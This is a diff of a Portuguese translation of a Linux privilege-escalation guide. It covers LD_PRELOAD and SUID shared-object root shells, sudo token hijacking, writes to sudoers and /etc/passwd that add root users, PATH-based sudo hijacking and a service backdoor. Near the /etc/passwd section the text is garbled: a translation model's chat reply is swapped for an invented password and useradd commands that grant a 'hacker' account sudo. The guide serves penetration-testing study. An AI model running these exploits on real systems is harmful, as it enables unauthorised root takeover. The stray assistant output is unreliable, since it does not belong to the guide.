tentar criar a função e export it: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Então, quando você chamar o binário suid, essa função será executada +Então, quando você chamar o binário suid, esta função será executada ### LD_PRELOAD & **LD_LIBRARY_PATH** -A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so) a serem carregadas pelo carregador antes de todas as outras, incluindo a biblioteca padrão C (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. +A variável de ambiente **LD_PRELOAD** é usada para especificar uma ou mais bibliotecas compartilhadas (.so) a serem carregadas pelo loader antes de todas as outras, incluindo a biblioteca C padrão (`libc.so`). Esse processo é conhecido como pré-carregamento de uma biblioteca. -No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, especialmente em executáveis **suid/sgid**, o sistema aplica certas condições: +No entanto, para manter a segurança do sistema e evitar que esse recurso seja explorado, particularmente com executáveis **suid/sgid**, o sistema impõe certas condições: -- O carregador ignora **LD_PRELOAD** para executáveis onde o identificador real do usuário (_ruid_) não coincide com o identificador efetivo do usuário (_euid_). -- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também sejam suid/sgid são pré-carregadas. +- O loader desconsidera **LD_PRELOAD** para executáveis onde o real user ID (_ruid_) não corresponde ao effective user ID (_euid_). +- Para executáveis com suid/sgid, apenas bibliotecas em caminhos padrão que também são suid/sgid são pré-carregadas. -A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a instrução **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. +A escalada de privilégios pode ocorrer se você tiver a capacidade de executar comandos com `sudo` e a saída de `sudo -l` incluir a declaração **env_keep+=LD_PRELOAD**. Essa configuração permite que a variável de ambiente **LD_PRELOAD** persista e seja reconhecida mesmo quando comandos são executados com `sudo`, potencialmente levando à execução de código arbitrário com privilégios elevados. ``` Defaults env_keep += LD_PRELOAD ``` -Salvar como **/tmp/pe.c** +Salve como **/tmp/pe.c** ```c #include #include @@ -808,7 +811,7 @@ setuid(0); system("/bin/bash"); } ``` -Em seguida, **compile-o** usando: +Então **compile-o** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -818,7 +821,7 @@ Finalmente, **escalate privileges** executando sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Uma privesc similar pode ser explorada se o atacante controlar a **LD_LIBRARY_PATH** env variable, porque ele controla o caminho onde as bibliotecas serão procuradas. +> Um privesc similar pode ser abusado se o atacante controlar a variável de ambiente **LD_LIBRARY_PATH**, pois ele controla o caminho onde as bibliotecas serão procuradas. ```c #include #include @@ -840,13 +843,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Ao encontrar um binário com permissões **SUID** que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: +Quando encontrar um binary com **SUID** permissions que pareça incomum, é uma boa prática verificar se ele está carregando arquivos **.so** corretamente. Isso pode ser verificado executando o seguinte comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere um potencial de exploração. +Por exemplo, encontrar um erro como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugere uma possibilidade de exploração. -Para explorar isso, deve-se criar um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: +Para explorar isso, cria-se um arquivo C, por exemplo _"/path/to/.config/libcalc.c"_, contendo o seguinte código: ```c #include #include @@ -857,13 +860,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, uma vez compilado e executado, tem como objetivo elevar privilégios manipulando permissões de arquivo e executando um shell com privilégios elevados. +Este código, uma vez compilado e executado, tem como objetivo elevate privileges manipulando permissões de arquivos e executando uma shell com elevated privileges. -Compile o arquivo C acima em um shared object (.so) com: +Compile o arquivo C acima em um arquivo shared object (.so) com: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo um possível comprometimento do sistema. +Finalmente, executar o binário SUID afetado deve acionar o exploit, permitindo possível comprometimento do sistema. ## Shared Object Hijacking ```bash @@ -875,7 +878,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Agora que encontramos um SUID binary que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: +Agora que encontramos um binário SUID que carrega uma biblioteca de uma pasta onde podemos escrever, vamos criar a biblioteca nessa pasta com o nome necessário: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -892,13 +895,13 @@ Se você receber um erro como ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -that means that the library you have generated need to have a function called `a_function_name`. +isso significa que a biblioteca que você gerou precisa ter uma função chamada `a_function_name`. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) é uma lista selecionada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. +[**GTFOBins**](https://gtfobins.github.io) é uma lista curada de binários Unix que podem ser explorados por um atacante para contornar restrições de segurança locais. [**GTFOArgs**](https://gtfoargs.github.io/) é o mesmo, mas para casos onde você pode **apenas injetar argumentos** em um comando. -O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritos, escalar ou manter privilégios elevados, transferir arquivos, spawnar bind e reverse shells, e facilitar outras tarefas de pós-exploração. +O projeto reúne funções legítimas de binários Unix que podem ser abusadas para escapar de shells restritas, escalar ou manter privilégios elevados, transferir arquivos, iniciar bind and reverse shells, e facilitar outras tarefas de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -917,24 +920,24 @@ https://gtfoargs.github.io/ ### FallOfSudo -Se você conseguir acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra como explorar alguma regra do sudo. +Se você consegue acessar `sudo -l` pode usar a ferramenta [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) para verificar se ela encontra alguma forma de explorar regras do sudo. -### Reutilizando tokens do sudo +### Reusing Sudo Tokens -Em casos onde você tem **acesso ao sudo** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token de sessão. +Em casos onde você tem **sudo access** mas não a senha, você pode escalar privilégios esperando a execução de um comando sudo e então sequestrando o token de sessão. Requisitos para escalar privilégios: - Você já tem um shell como usuário "_sampleuser_" -- "_sampleuser_" tenha **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem digitar nenhuma senha) +- "_sampleuser_" tem **usado `sudo`** para executar algo nos **últimos 15 minutos** (por padrão essa é a duração do token do sudo que nos permite usar `sudo` sem introduzir qualquer senha) - `cat /proc/sys/kernel/yama/ptrace_scope` é 0 -- `gdb` esteja acessível (você pode conseguir fazer upload dele) +- `gdb` está acessível (você pode conseguir enviá-lo) (Você pode habilitar temporariamente `ptrace_scope` com `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou permanentemente modificando `/etc/sysctl.d/10-ptrace.conf` e definindo `kernel.yama.ptrace_scope = 0`) Se todos esses requisitos forem atendidos, **você pode escalar privilégios usando:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- O **primeiro exploit** (`exploit.sh`) irá criar o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o token do sudo na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): +- O **primeiro exploit** (`exploit.sh`) criará o binário `activate_sudo_token` em _/tmp_. Você pode usá-lo para **ativar o sudo token na sua sessão** (você não obterá automaticamente um shell root, execute `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -945,32 +948,32 @@ sudo su bash exploit_v2.sh /tmp/sh -p ``` -- O **terceiro exploit** (`exploit_v3.sh`) irá **criar um arquivo sudoers** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** +- O **terceiro exploit** (`exploit_v3.sh`) **criará um sudoers file** que torna os **sudo tokens eternos e permite que todos os usuários usem sudo** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Se você tiver **permissões de escrita** no diretório ou em qualquer um dos arquivos criados dentro do diretório, você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um token sudo para um usuário e PID**.\ -Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e tiver um shell como esse usuário com PID 1234, você pode **obter privilégios sudo** sem precisar saber a senha fazendo: +Se você tiver **permissões de escrita** na pasta ou em qualquer um dos arquivos criados dentro da pasta você pode usar o binário [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) para **criar um sudo token para um usuário e PID**.\ +Por exemplo, se você puder sobrescrever o arquivo _/var/run/sudo/ts/sampleuser_ e você tiver um shell como esse usuário com PID 1234, você pode **obter privilégios de sudo** sem precisar saber a senha fazendo: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d O arquivo `/etc/sudoers` e os arquivos dentro de `/etc/sudoers.d` configuram quem pode usar `sudo` e como. Esses arquivos **por padrão só podem ser lidos pelo usuário root e pelo grupo root**.\ -**Se** você puder **ler** este arquivo, pode conseguir **obter informações interessantes**, e se você puder **escrever** em qualquer arquivo, será capaz de **elevar privilégios**. +**Se** você puder **ler** esse arquivo você poderá **obter informações interessantes**, e se você puder **escrever** em qualquer arquivo você poderá **escalar privilégios**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Se você consegue escrever, pode abusar dessa permissão +Se você pode escrever, pode abusar dessa permissão. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Outra forma de abusar dessas permissões: +Outra maneira de abusar dessas permissões: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -979,13 +982,13 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Existem algumas alternativas ao binário `sudo`, como o `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` +Existem algumas alternativas ao binário `sudo`, como `doas` do OpenBSD; lembre-se de verificar sua configuração em `/etc/doas.conf` ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se souber que um **usuário normalmente se conecta a uma máquina e usa `sudo`** para escalar privilégios e você obteve um shell nesse contexto de usuário, pode **criar um novo executável sudo** que irá executar seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. +Se você sabe que um usuário normalmente se conecta a uma máquina e usa `sudo` para escalar privilégios e você obteve um shell nesse contexto de usuário, você pode **criar um novo sudo executable** que executará seu código como root e depois o comando do usuário. Em seguida, **modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo path em .bash_profile) para que, quando o usuário executar sudo, seu sudo executable seja executado. Note que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) @@ -1008,11 +1011,11 @@ sudo ls ### ld.so -The file `/etc/ld.so.conf` indicates **de onde vêm os arquivos de configuração carregados**. Normalmente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema procurará por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde as **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá buscar por bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração dentro de `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ +Se por algum motivo **um usuário tem permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada no arquivo de configuração dentro de `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ Confira **como explorar essa má configuração** na página a seguir: @@ -1040,7 +1043,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Então crie uma biblioteca maliciosa em `/var/tmp` com `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Em seguida, crie uma biblioteca maliciosa em `/var/tmp` com `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1053,44 +1056,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## Capacidades +## Capabilities -As capacidades do Linux fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os privilégios root em **unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux capabilities fornecem um **subconjunto dos privilégios de root disponíveis para um processo**. Isso efetivamente divide os privilégios de root **em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida de forma independente a processos. Dessa forma o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a seguinte página para **aprender mais sobre capabilities e como abusar delas**: {{#ref}} linux-capabilities.md {{#endref}} -## Permissões de diretório +## Directory permissions -Em um diretório, o **bit for "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ -O **"read"** bit implica que o usuário pode **listar** os **arquivos**, e o **"write"** bit implica que o usuário pode **excluir** e **criar** novos **arquivos**. +Em um diretório, o **bit para "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ +O bit **"read"** implica que o usuário pode **listar** os **arquivos**, e o bit **"write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. ## ACLs -As Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor as permissões tradicionais ugo/rwx**. Essas permissões ampliam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as tradicionais permissões ugo/rwx**. Essas permissões aumentam o controle sobre o acesso a arquivos ou diretórios, permitindo ou negando direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade assegura um gerenciamento de acesso mais preciso**. Mais detalhes podem ser encontrados [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dê** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Conceda** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Obter** arquivos do sistema com ACLs específicas: +**Obtenha** arquivos com ACLs específicas do sistema: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Abrir shell sessions +## Sessões shell abertas -Em **versões antigas** você pode **hijack** alguma **shell** session de um usuário diferente (**root**).\ -Em **versões mais recentes** você será capaz de **conectar-se** a screen sessions apenas do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da session**. +Em **versões antigas** você pode **hijack** alguma sessão **shell** de outro usuário (**root**).\ +Nas **versões mais recentes** você só poderá **conectar**-se às sessões screen do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. ### screen sessions hijacking -**Listar screen sessions** +**Listar sessões screen** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1105,9 +1108,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Isso era um problema com **old tmux versions**. Não consegui hijackar uma sessão tmux (v2.1) criada por root quando eu estava como non-privileged user. +Isso era um problema com **versões antigas do tmux**. Não consegui fazer hijack em uma sessão do tmux (v2.1) criada pelo root como um usuário não privilegiado. -**Listar tmux sessions** +**Listar sessões do tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1125,53 +1128,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Confira **Valentine box from HTB** como exemplo. +Check **Valentine box do HTB** para um exemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e May 13th, 2008 podem ser afetadas por esse bug.\ -Esse bug ocorre ao criar uma nova chave ssh nesses SO, pois **only 32,768 variations were possible**. Isso significa que todas as possibilidades podem ser calculadas e, **tendo a chave pública ssh você pode procurar a chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ +Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32.768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar pela chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### SSH Valores de configuração interessantes +### SSH Interesting configuration values - **PasswordAuthentication:** Especifica se a autenticação por senha é permitida. O padrão é `no`. - **PubkeyAuthentication:** Especifica se a autenticação por chave pública é permitida. O padrão é `yes`. -- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com senhas vazias. O padrão é `no`. +- **PermitEmptyPasswords**: Quando a autenticação por senha está permitida, especifica se o servidor permite login em contas com strings de senha vazias. O padrão é `no`. ### PermitRootLogin -Especifica se root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: +Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: - `yes`: root pode fazer login usando senha e chave privada -- `without-password` or `prohibit-password`: root só pode fazer login com chave privada +- `without-password` ou `prohibit-password`: root só pode fazer login com uma chave privada - `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comando estiverem especificadas -- `no` : não +- `no`: não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (starting in `/`) ou **relative paths from the user's home**. For example: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que será substituído pelo diretório home. **Você pode indicar caminhos absolutos** (iniciando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a chave **privada** do usuário "**testusername**", o ssh vai comparar a chave pública correspondente com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração indica que, se você tentar fazer login com a chave **privada** do usuário "**testusername**", o ssh irá comparar a chave pública correspondente com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **use suas chaves SSH locais em vez de deixar chaves** (sem passphrases!) no seu servidor. Assim, você poderá **pular** via ssh **para um host** e, a partir dele, **pular para outro** host **usando** a **chave** localizada no seu **host inicial**. +SSH agent forwarding permite que você **usar suas chaves SSH locais em vez de deixar chaves** (without passphrases!) no seu servidor. Assim, você poderá **saltar** via ssh **para um host** e, a partir dele, **saltar para outro** host **usando** a **chave** localizada no seu **host inicial**. -Você precisa definir essa opção em `$HOME/.ssh.config` desta forma: +Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` Observe que se `Host` for `*` toda vez que o usuário se conectar a uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). -O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração. -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). +O arquivo `/etc/ssh_config` pode **sobrescrever** essas **opções** e permitir ou negar essa configuração.\ +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é allow). -Se você descobrir que Forward Agent está configurado em um ambiente, leia a página seguinte, pois **você pode conseguir abusá-lo para escalar privilégios**: +Se você encontrar que Forward Agent está configurado em um ambiente, leia a página a seguir pois **você pode ser capaz de abusá-lo para escalar privilégios**: {{#ref}} @@ -1182,7 +1185,7 @@ ssh-forward-agent-exploitation.md ### Arquivos de perfil -O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você pode **escrever ou modificar qualquer um deles, você pode escalar privilégios**. +O arquivo `/etc/profile` e os arquivos em `/etc/profile.d/` são **scripts que são executados quando um usuário inicia um novo shell**. Portanto, se você puder **escrever ou modificar qualquer um deles, pode escalar privilégios**. ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1190,7 +1193,7 @@ Se qualquer script de perfil estranho for encontrado você deve verificá-lo em ### Arquivos Passwd/Shadow -Dependendo do SO os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1201,7 +1204,7 @@ Em algumas ocasiões você pode encontrar **password hashes** dentro do arquivo ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Escritável /etc/passwd +### Permissão de escrita em /etc/passwd Primeiro, gere uma senha com um dos seguintes comandos. ``` @@ -1209,25 +1212,31 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Por favor, cole o conteúdo de src/linux-hardening/privilege-escalation/README.md que você quer que eu traduza. +Generated password: G7r!s9Qx#v2Lk4Zm -Observação: não posso criar usuários no seu sistema. Posso, porém, gerar uma senha e fornecer os comandos (por exemplo useradd, passwd) para criar o usuário `hacker` e definir a senha — quer que eu inclua esses comandos e a senha gerada na tradução? +Commands to run: +``` +sudo useradd -m -s /bin/bash hacker +echo 'hacker:G7r!s9Qx#v2Lk4Zm' | sudo chpasswd +sudo usermod -aG sudo hacker +sudo passwd -e hacker +``` ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Agora você pode usar o comando `su` com `hacker:hacker` -Alternativamente, você pode usar as linhas a seguir para adicionar um usuário dummy sem senha.\ -AVISO: isso pode degradar a segurança atual da máquina. +Alternativamente, você pode usar as seguintes linhas para adicionar um usuário dummy sem senha.\ +AVISO: você pode comprometer a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, também o `/etc/shadow` é renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso o `/etc/shadow` é renomeado para `/etc/spwd.db`. -Você deve verificar se pode **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1238,15 +1247,15 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Your backdoor will be executed the next time that tomcat is started. +Sua backdoor será executada na próxima vez que o tomcat for iniciado. ### Verificar Pastas -As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) +Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Localização Estranha/Owned files +### Local Estranho/Arquivos Owned ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1267,7 +1276,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos DB do Sqlite +### Arquivos de DB do Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1279,12 +1288,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binários no PATH** +### **Script/Binaries no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Arquivos web** +### **Arquivos Web** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1297,20 +1306,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Arquivos conhecidos que contêm senhas -Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos possíveis que podem conter senhas**.\ -**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação open source usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. +Leia o código de [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos que podem conter senhas**.\ +**Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você conseguir ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho for o log, mais interessante ele provavelmente será.\ -Além disso, alguns "**bad**" configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro dos audit logs como 